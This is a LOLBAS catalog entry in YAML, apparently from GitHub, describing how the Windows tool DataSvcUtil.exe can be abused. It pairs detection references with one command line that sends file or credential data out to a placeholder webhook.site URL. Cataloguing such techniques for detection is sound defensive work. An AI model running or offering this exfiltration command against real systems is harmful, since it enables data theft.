LOLBAS/yml/OSBinaries/DataSvcUtil.yml
frack113 4f83231697
Update old sigma link (#303)
* Update SigmaHQ ref

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* Update SigmaHQ ref

Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com>

* Update SigmaHq ref

Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com>

* Update SigmaHq ref

Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com>

---------

Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com>
2023-10-18 11:30:34 -04:00

30 lines
1.7 KiB
YAML

---
Name: DataSvcUtil.exe
Description: DataSvcUtil.exe is a command-line tool provided by WCF Data Services that consumes an Open Data Protocol (OData) feed and generates the client data service classes that are needed to access a data service from a .NET Framework client application.
Author: 'Ialle Teixeira'
Created: 2020-12-01
Commands:
- Command: DataSvcUtil /out:C:\Windows\System32\calc.exe /uri:https://webhook.site/xxxxxxxxx?encodedfile
Description: Upload file, credentials or data exfiltration in general
Usecase: Upload file
Category: Upload
Privileges: User
MitreID: T1567
OperatingSystem: Windows 10
Full_Path:
- Path: C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe
Code_Sample:
- Code: https://gist.github.com/teixeira0xfffff/837e5bfed0d1b0a29a7cb1e5dbdd9ca6
Detection:
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml
- IOC: The DataSvcUtil.exe tool is installed in the .NET Framework directory.
- IOC: Preventing/Detecting DataSvcUtil with non-RFC1918 addresses by Network IPS/IDS.
- IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching DataSvcUtil.
Resources:
- Link: https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe
- Link: https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services
- Link: https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services
Acknowledgement:
- Person: Ialle Teixeira
Handle: '@NtSetDefault'